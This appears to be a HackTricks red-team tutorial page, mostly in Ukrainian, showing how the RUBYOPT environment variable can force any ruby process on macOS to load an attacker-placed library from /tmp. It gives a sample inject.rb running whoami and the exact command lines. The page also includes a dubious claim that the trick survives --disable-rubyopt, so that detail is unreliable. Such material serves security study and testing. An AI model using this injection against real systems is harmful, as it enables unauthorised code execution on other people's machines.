macOS Ruby Applications Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

RUBYOPT

Використовуючи цю змінну середовища, можна додати нові параметри до ruby щоразу, коли він виконується. Хоча параметр -e не може бути використаний для вказівки коду ruby для виконання, можна використовувати параметри -I та -r, щоб додати нову папку до шляху завантаження бібліотек, а потім вказати бібліотеку для завантаження.

Створіть бібліотеку inject.rb у /tmp:

inject.rb
puts `whoami`

Створіть будь-де скрипт ruby, наприклад:

hello.rb
puts 'Hello, World!'

Тоді створіть довільний ruby-скрипт, щоб завантажити його за допомогою:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Фунт факт, це працює навіть з параметром --disable-rubyopt:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримати HackTricks

Last updated